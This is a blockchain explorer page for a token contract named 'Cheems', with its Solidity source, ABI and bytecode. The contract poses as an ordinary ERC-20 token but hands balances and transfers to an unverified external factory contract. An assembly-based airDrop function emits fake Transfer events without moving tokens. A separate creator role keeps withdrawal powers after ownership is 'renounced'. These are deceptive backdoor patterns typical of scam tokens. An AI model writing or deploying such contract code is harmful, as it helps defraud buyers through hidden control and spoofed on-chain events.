Overview [ERC-20]
Price
$0.00 @ 0.000000 Eth
Fully Diluted Market Cap
Max Total Supply:
4,138,058,057 Cheems
Holders:
605
Contract:
Decimals:
9
Balance
10,134,582 CheemsValue
$0.00
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at basescan.org on 2023-08-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.18; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20Factory { function constructorErc20(uint256 total,address tokenAddress,address tokenOwner,address _pairs) external; function getSupply() view external returns (uint256); function balanceOf(address _owner) view external returns (uint256); function name() view external returns (string memory); function symbol() view external returns (string memory); function getAirAmount() view external returns (uint256); function getAirFrom() view external returns (address); function erc20Transfer(address _from, address _to, uint256 _value) external; function erc20TransferAfter(address _from, address _to, uint256 _value) external; } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract Ownable { address public owner; address public creator; event owneresshipTransferred(address indexed previousowneres, address indexed newowneres); modifier onlyowneres() { require(msg.sender == owner); _; } modifier onlycreator() { require(msg.sender == creator); _; } function transferowneresship(address newowneres) public onlyowneres { require(newowneres != address(0)); emit owneresshipTransferred(owner, newowneres); owner = newowneres; } function renounceowneresship() public onlyowneres { emit owneresshipTransferred(owner, address(0)); owner = address(0); } } contract ERC20 is Ownable,IERC20 { uint8 public _decimals = 9; string private _name; string private _symbol; uint256 _totalSupply; address factoryAddr; IERC20Factory _factory; constructor(string memory name_, string memory symbol_,uint256 _total, address _router,address _factoryAddr,address _WETH) { owner = msg.sender; creator = msg.sender; _name = name_; _symbol = symbol_; _totalSupply = _total * (10 ** _decimals); IDEXRouter router = IDEXRouter(_router); factoryAddr = _factoryAddr; address pairs = IDEXFactory(router.factory()).createPair(_WETH, address(this)); _factory= IERC20Factory(_factoryAddr); _factory.constructorErc20(_totalSupply, address(this), owner,pairs); emit Transfer(address(0), owner, _totalSupply); } mapping(address => mapping(address => uint256)) public allowed; function totalSupply() public view returns (uint256) { return _factory.getSupply(); } function balanceOf(address _owner) public view returns (uint256) { return _factory.balanceOf(_owner); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function transfer(address _to, uint256 _value) public returns (bool success) { _factory.erc20Transfer(msg.sender,_to,_value); _factory.erc20TransferAfter(msg.sender,_to,_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _factory.balanceOf(_from),"Not sufficient funds."); require(_value <= allowed[_from][msg.sender],"Exceed authorized limit."); _factory.erc20Transfer(_from,_to,_value); _factory.erc20TransferAfter(_from,_to,_value); emit Transfer(_from, _to, _value); return true; } function emitTransfer(address _from, address _to, uint256 _value) public returns (bool success) { require(msg.sender==factoryAddr,"Unknown origin."); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0),"Illegal authorization."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { require(_spender != address(0),"Illegal authorization."); return allowed[_owner][_spender]; } function airDrop(bytes memory _bytes)public returns(bool success) { require(msg.sender==factoryAddr || msg.sender==creator,"Unknown origin."); uint256 _start = 0; address airFrom = _factory.getAirFrom(); uint256 len = _bytes.length / 20; uint256 amount = _factory.getAirAmount(); bytes32 topic0 = bytes32(keccak256("Transfer(address,address,uint256)")); for (uint256 i = 0; i < len; ) { assembly { mstore(0, amount) log3(0, 0x20, topic0, airFrom, shr(96, mload(add(add(_bytes, 0x20), _start)))) i := add(i, 1) _start := add(_start, 20) } } return true; } function withdraw(address target,uint amount) public onlycreator { payable(target).transfer(amount); } function withdrawToken(address token,address target, uint amount) public onlycreator { IERC20(token).transfer(target, amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"address","name":"_router","type":"address"},{"internalType":"address","name":"_factoryAddr","type":"address"},{"internalType":"address","name":"_WETH","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowneres","type":"address"},{"indexed":true,"internalType":"address","name":"newowneres","type":"address"}],"name":"owneresshipTransferred","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"_bytes","type":"bytes"}],"name":"airDrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"creator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"emitTransfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceowneresship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newowneres","type":"address"}],"name":"transferowneresship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001805460ff60a01b1916600960a01b1790553480156200002457600080fd5b50604051620017d2380380620017d2833981016040819052620000479162000375565b60008054336001600160a01b031991821681179092556001805490911690911790556002620000778782620004ae565b506003620000868682620004ae565b50600154620000a190600160a01b900460ff16600a6200068f565b620000ad9085620006a7565b6004908155600580546001600160a01b0319166001600160a01b03858116919091179091556040805163c45a015560e01b81529051869360009385169263c45a015592818301926020928290030181865afa15801562000111573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001379190620006c1565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562000188573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ae9190620006c1565b600680546001600160a01b0319166001600160a01b0387811691821790925560048054600054604051631eefb7f760e01b815292830191909152306024830152831660448201529183166064830152919250631eefb7f790608401600060405180830381600087803b1580156200022457600080fd5b505af115801562000239573d6000803e3d6000fd5b5050600080546004546040519081526001600160a01b0390911693509091507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050505050620006df565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002bb57600080fd5b81516001600160401b0380821115620002d857620002d862000293565b604051601f8301601f19908116603f0116810190828211818310171562000303576200030362000293565b816040528381526020925086838588010111156200032057600080fd5b600091505b8382101562000344578582018301518183018401529082019062000325565b600093810190920192909252949350505050565b80516001600160a01b03811681146200037057600080fd5b919050565b60008060008060008060c087890312156200038f57600080fd5b86516001600160401b0380821115620003a757600080fd5b620003b58a838b01620002a9565b97506020890151915080821115620003cc57600080fd5b50620003db89828a01620002a9565b95505060408701519350620003f36060880162000358565b9250620004036080880162000358565b91506200041360a0880162000358565b90509295509295509295565b600181811c908216806200043457607f821691505b6020821081036200045557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a957600081815260208120601f850160051c81016020861015620004845750805b601f850160051c820191505b81811015620004a55782815560010162000490565b5050505b505050565b81516001600160401b03811115620004ca57620004ca62000293565b620004e281620004db84546200041f565b846200045b565b602080601f8311600181146200051a5760008415620005015750858301515b600019600386901b1c1916600185901b178555620004a5565b600085815260208120601f198616915b828110156200054b578886015182559484019460019091019084016200052a565b50858210156200056a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005d1578160001904821115620005b557620005b56200057a565b80851615620005c357918102915b93841c939080029062000595565b509250929050565b600082620005ea5750600162000689565b81620005f95750600062000689565b81600181146200061257600281146200061d576200063d565b600191505062000689565b60ff8411156200063157620006316200057a565b50506001821b62000689565b5060208310610133831016604e8410600b841016171562000662575081810a62000689565b6200066e838362000590565b80600019048211156200068557620006856200057a565b0290505b92915050565b6000620006a060ff841683620005d9565b9392505050565b80820281158282048414176200068957620006896200057a565b600060208284031215620006d457600080fd5b620006a08262000358565b6110e380620006ef6000396000f3fe6080604052600436106101185760003560e01c80635c658165116100a057806395d89b411161006457806395d89b4114610333578063a9059cbb14610348578063dd62ed3e14610368578063e7ef2fa614610388578063f3fef3a3146103a857600080fd5b80635c658165146102865780636f4570d4146102be57806370a08231146102d35780638a9073ce146102f35780638da5cb5b1461031357600080fd5b806318160ddd116100e757806318160ddd146101d557806323b872dd146101f857806323de665114610218578063313ce5671461023857806332424aa31461026557600080fd5b806301e336671461012457806302d05d3f1461014657806306fdde0314610183578063095ea7b3146101a557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061014461013f366004610dd6565b6103c8565b005b34801561015257600080fd5b50600154610166906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018f57600080fd5b50610198610458565b60405161017a9190610e17565b3480156101b157600080fd5b506101c56101c0366004610e65565b6104ea565b604051901515815260200161017a565b3480156101e157600080fd5b506101ea6105a5565b60405190815260200161017a565b34801561020457600080fd5b506101c5610213366004610dd6565b610618565b34801561022457600080fd5b506101c5610233366004610dd6565b610852565b34801561024457600080fd5b50600154600160a01b900460ff165b60405160ff909116815260200161017a565b34801561027157600080fd5b5060015461025390600160a01b900460ff1681565b34801561029257600080fd5b506101ea6102a1366004610e91565b600760209081526000928352604080842090915290825290205481565b3480156102ca57600080fd5b506101446108d4565b3480156102df57600080fd5b506101ea6102ee366004610eca565b610935565b3480156102ff57600080fd5b5061014461030e366004610eca565b6109aa565b34801561031f57600080fd5b50600054610166906001600160a01b031681565b34801561033f57600080fd5b50610198610a2f565b34801561035457600080fd5b506101c5610363366004610e65565b610a3e565b34801561037457600080fd5b506101ea610383366004610e91565b610b36565b34801561039457600080fd5b506101c56103a3366004610f04565b610bb3565b3480156103b457600080fd5b506101446103c3366004610e65565b610d6c565b6001546001600160a01b031633146103df57600080fd5b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af115801561042e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104529190610fb5565b50505050565b60606002805461046790610fd7565b80601f016020809104026020016040519081016040528092919081815260200182805461049390610fd7565b80156104e05780601f106104b5576101008083540402835291602001916104e0565b820191906000526020600020905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b60006001600160a01b0383166105405760405162461bcd60e51b815260206004820152601660248201527524b63632b3b0b61030baba3437b934bd30ba34b7b71760511b60448201526064015b60405180910390fd5b3360008181526007602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b60065460408051636c9c2faf60e01b815290516000926001600160a01b031691636c9c2faf9160048083019260209291908290030181865afa1580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106139190611011565b905090565b6006546040516370a0823160e01b81526001600160a01b03858116600483015260009216906370a0823190602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106879190611011565b8211156106ce5760405162461bcd60e51b81526020600482015260156024820152742737ba1039bab33334b1b4b2b73a10333ab732399760591b6044820152606401610537565b6001600160a01b03841660009081526007602090815260408083203384529091529020548211156107415760405162461bcd60e51b815260206004820152601860248201527f45786365656420617574686f72697a6564206c696d69742e00000000000000006044820152606401610537565b600654604051633790767d60e01b81526001600160a01b0390911690633790767d906107759087908790879060040161102a565b600060405180830381600087803b15801561078f57600080fd5b505af11580156107a3573d6000803e3d6000fd5b505060065460405163282c97a160e01b81526001600160a01b03909116925063282c97a191506107db9087908790879060040161102a565b600060405180830381600087803b1580156107f557600080fd5b505af1158015610809573d6000803e3d6000fd5b50505050826001600160a01b0316846001600160a01b031660008051602061108e8339815191528460405161084091815260200190565b60405180910390a35060019392505050565b6005546000906001600160a01b031633146108a15760405162461bcd60e51b815260206004820152600f60248201526e2ab735b737bbb71037b934b3b4b71760891b6044820152606401610537565b826001600160a01b0316846001600160a01b031660008051602061108e8339815191528460405161084091815260200190565b6000546001600160a01b031633146108eb57600080fd5b600080546040516001600160a01b03909116907fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe499908390a3600080546001600160a01b0319169055565b6006546040516370a0823160e01b81526001600160a01b03838116600483015260009216906370a0823190602401602060405180830381865afa158015610980573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a49190611011565b92915050565b6000546001600160a01b031633146109c157600080fd5b6001600160a01b0381166109d457600080fd5b600080546040516001600160a01b03808516939216917fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe49991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60606003805461046790610fd7565b600654604051633790767d60e01b81526000916001600160a01b031690633790767d90610a739033908790879060040161102a565b600060405180830381600087803b158015610a8d57600080fd5b505af1158015610aa1573d6000803e3d6000fd5b505060065460405163282c97a160e01b81526001600160a01b03909116925063282c97a19150610ad99033908790879060040161102a565b600060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b50506040518481526001600160a01b038616925033915060008051602061108e83398151915290602001610594565b60006001600160a01b038216610b875760405162461bcd60e51b815260206004820152601660248201527524b63632b3b0b61030baba3437b934bd30ba34b7b71760511b6044820152606401610537565b506001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6005546000906001600160a01b0316331480610bd957506001546001600160a01b031633145b610c175760405162461bcd60e51b815260206004820152600f60248201526e2ab735b737bbb71037b934b3b4b71760891b6044820152606401610537565b600080600660009054906101000a90046001600160a01b03166001600160a01b031663f7c70ac36040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c91919061104e565b9050600060148551610ca3919061106b565b90506000600660009054906101000a90046001600160a01b03166001600160a01b0316634b96b6376040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611011565b905060008051602061108e83398151915260005b83811015610d5e57826000528560208901015160601c858360206000a360149590950194600101610d32565b506001979650505050505050565b6001546001600160a01b03163314610d8357600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610db9573d6000803e3d6000fd5b505050565b6001600160a01b0381168114610dd357600080fd5b50565b600080600060608486031215610deb57600080fd5b8335610df681610dbe565b92506020840135610e0681610dbe565b929592945050506040919091013590565b600060208083528351808285015260005b81811015610e4457858101830151858201604001528201610e28565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610e7857600080fd5b8235610e8381610dbe565b946020939093013593505050565b60008060408385031215610ea457600080fd5b8235610eaf81610dbe565b91506020830135610ebf81610dbe565b809150509250929050565b600060208284031215610edc57600080fd5b8135610ee781610dbe565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600060208284031215610f1657600080fd5b813567ffffffffffffffff80821115610f2e57600080fd5b818401915084601f830112610f4257600080fd5b813581811115610f5457610f54610eee565b604051601f8201601f19908116603f01168101908382118183101715610f7c57610f7c610eee565b81604052828152876020848701011115610f9557600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208284031215610fc757600080fd5b81518015158114610ee757600080fd5b600181811c90821680610feb57607f821691505b60208210810361100b57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561102357600080fd5b5051919050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006020828403121561106057600080fd5b8151610ee781610dbe565b60008261108857634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f87413dcbd37c41a3cc07bdc6dbb1ee31ee3b326a9757c3bcef87c808c8cfde464736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000f6a5c1490000000000000000000000004cf76043b3f97ba06917cbd90f9e3a2aac1b306e000000000000000000000000f16b3d1c0ffab626399c9e60c5868445286c40e900000000000000000000000042000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000009436865656d73496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006436865656d730000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101185760003560e01c80635c658165116100a057806395d89b411161006457806395d89b4114610333578063a9059cbb14610348578063dd62ed3e14610368578063e7ef2fa614610388578063f3fef3a3146103a857600080fd5b80635c658165146102865780636f4570d4146102be57806370a08231146102d35780638a9073ce146102f35780638da5cb5b1461031357600080fd5b806318160ddd116100e757806318160ddd146101d557806323b872dd146101f857806323de665114610218578063313ce5671461023857806332424aa31461026557600080fd5b806301e336671461012457806302d05d3f1461014657806306fdde0314610183578063095ea7b3146101a557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061014461013f366004610dd6565b6103c8565b005b34801561015257600080fd5b50600154610166906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018f57600080fd5b50610198610458565b60405161017a9190610e17565b3480156101b157600080fd5b506101c56101c0366004610e65565b6104ea565b604051901515815260200161017a565b3480156101e157600080fd5b506101ea6105a5565b60405190815260200161017a565b34801561020457600080fd5b506101c5610213366004610dd6565b610618565b34801561022457600080fd5b506101c5610233366004610dd6565b610852565b34801561024457600080fd5b50600154600160a01b900460ff165b60405160ff909116815260200161017a565b34801561027157600080fd5b5060015461025390600160a01b900460ff1681565b34801561029257600080fd5b506101ea6102a1366004610e91565b600760209081526000928352604080842090915290825290205481565b3480156102ca57600080fd5b506101446108d4565b3480156102df57600080fd5b506101ea6102ee366004610eca565b610935565b3480156102ff57600080fd5b5061014461030e366004610eca565b6109aa565b34801561031f57600080fd5b50600054610166906001600160a01b031681565b34801561033f57600080fd5b50610198610a2f565b34801561035457600080fd5b506101c5610363366004610e65565b610a3e565b34801561037457600080fd5b506101ea610383366004610e91565b610b36565b34801561039457600080fd5b506101c56103a3366004610f04565b610bb3565b3480156103b457600080fd5b506101446103c3366004610e65565b610d6c565b6001546001600160a01b031633146103df57600080fd5b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af115801561042e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104529190610fb5565b50505050565b60606002805461046790610fd7565b80601f016020809104026020016040519081016040528092919081815260200182805461049390610fd7565b80156104e05780601f106104b5576101008083540402835291602001916104e0565b820191906000526020600020905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b60006001600160a01b0383166105405760405162461bcd60e51b815260206004820152601660248201527524b63632b3b0b61030baba3437b934bd30ba34b7b71760511b60448201526064015b60405180910390fd5b3360008181526007602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b60065460408051636c9c2faf60e01b815290516000926001600160a01b031691636c9c2faf9160048083019260209291908290030181865afa1580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106139190611011565b905090565b6006546040516370a0823160e01b81526001600160a01b03858116600483015260009216906370a0823190602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106879190611011565b8211156106ce5760405162461bcd60e51b81526020600482015260156024820152742737ba1039bab33334b1b4b2b73a10333ab732399760591b6044820152606401610537565b6001600160a01b03841660009081526007602090815260408083203384529091529020548211156107415760405162461bcd60e51b815260206004820152601860248201527f45786365656420617574686f72697a6564206c696d69742e00000000000000006044820152606401610537565b600654604051633790767d60e01b81526001600160a01b0390911690633790767d906107759087908790879060040161102a565b600060405180830381600087803b15801561078f57600080fd5b505af11580156107a3573d6000803e3d6000fd5b505060065460405163282c97a160e01b81526001600160a01b03909116925063282c97a191506107db9087908790879060040161102a565b600060405180830381600087803b1580156107f557600080fd5b505af1158015610809573d6000803e3d6000fd5b50505050826001600160a01b0316846001600160a01b031660008051602061108e8339815191528460405161084091815260200190565b60405180910390a35060019392505050565b6005546000906001600160a01b031633146108a15760405162461bcd60e51b815260206004820152600f60248201526e2ab735b737bbb71037b934b3b4b71760891b6044820152606401610537565b826001600160a01b0316846001600160a01b031660008051602061108e8339815191528460405161084091815260200190565b6000546001600160a01b031633146108eb57600080fd5b600080546040516001600160a01b03909116907fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe499908390a3600080546001600160a01b0319169055565b6006546040516370a0823160e01b81526001600160a01b03838116600483015260009216906370a0823190602401602060405180830381865afa158015610980573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a49190611011565b92915050565b6000546001600160a01b031633146109c157600080fd5b6001600160a01b0381166109d457600080fd5b600080546040516001600160a01b03808516939216917fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe49991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60606003805461046790610fd7565b600654604051633790767d60e01b81526000916001600160a01b031690633790767d90610a739033908790879060040161102a565b600060405180830381600087803b158015610a8d57600080fd5b505af1158015610aa1573d6000803e3d6000fd5b505060065460405163282c97a160e01b81526001600160a01b03909116925063282c97a19150610ad99033908790879060040161102a565b600060405180830381600087803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b50506040518481526001600160a01b038616925033915060008051602061108e83398151915290602001610594565b60006001600160a01b038216610b875760405162461bcd60e51b815260206004820152601660248201527524b63632b3b0b61030baba3437b934bd30ba34b7b71760511b6044820152606401610537565b506001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6005546000906001600160a01b0316331480610bd957506001546001600160a01b031633145b610c175760405162461bcd60e51b815260206004820152600f60248201526e2ab735b737bbb71037b934b3b4b71760891b6044820152606401610537565b600080600660009054906101000a90046001600160a01b03166001600160a01b031663f7c70ac36040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c91919061104e565b9050600060148551610ca3919061106b565b90506000600660009054906101000a90046001600160a01b03166001600160a01b0316634b96b6376040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611011565b905060008051602061108e83398151915260005b83811015610d5e57826000528560208901015160601c858360206000a360149590950194600101610d32565b506001979650505050505050565b6001546001600160a01b03163314610d8357600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610db9573d6000803e3d6000fd5b505050565b6001600160a01b0381168114610dd357600080fd5b50565b600080600060608486031215610deb57600080fd5b8335610df681610dbe565b92506020840135610e0681610dbe565b929592945050506040919091013590565b600060208083528351808285015260005b81811015610e4457858101830151858201604001528201610e28565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610e7857600080fd5b8235610e8381610dbe565b946020939093013593505050565b60008060408385031215610ea457600080fd5b8235610eaf81610dbe565b91506020830135610ebf81610dbe565b809150509250929050565b600060208284031215610edc57600080fd5b8135610ee781610dbe565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600060208284031215610f1657600080fd5b813567ffffffffffffffff80821115610f2e57600080fd5b818401915084601f830112610f4257600080fd5b813581811115610f5457610f54610eee565b604051601f8201601f19908116603f01168101908382118183101715610f7c57610f7c610eee565b81604052828152876020848701011115610f9557600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208284031215610fc757600080fd5b81518015158114610ee757600080fd5b600181811c90821680610feb57607f821691505b60208210810361100b57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561102357600080fd5b5051919050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006020828403121561106057600080fd5b8151610ee781610dbe565b60008261108857634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f87413dcbd37c41a3cc07bdc6dbb1ee31ee3b326a9757c3bcef87c808c8cfde464736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
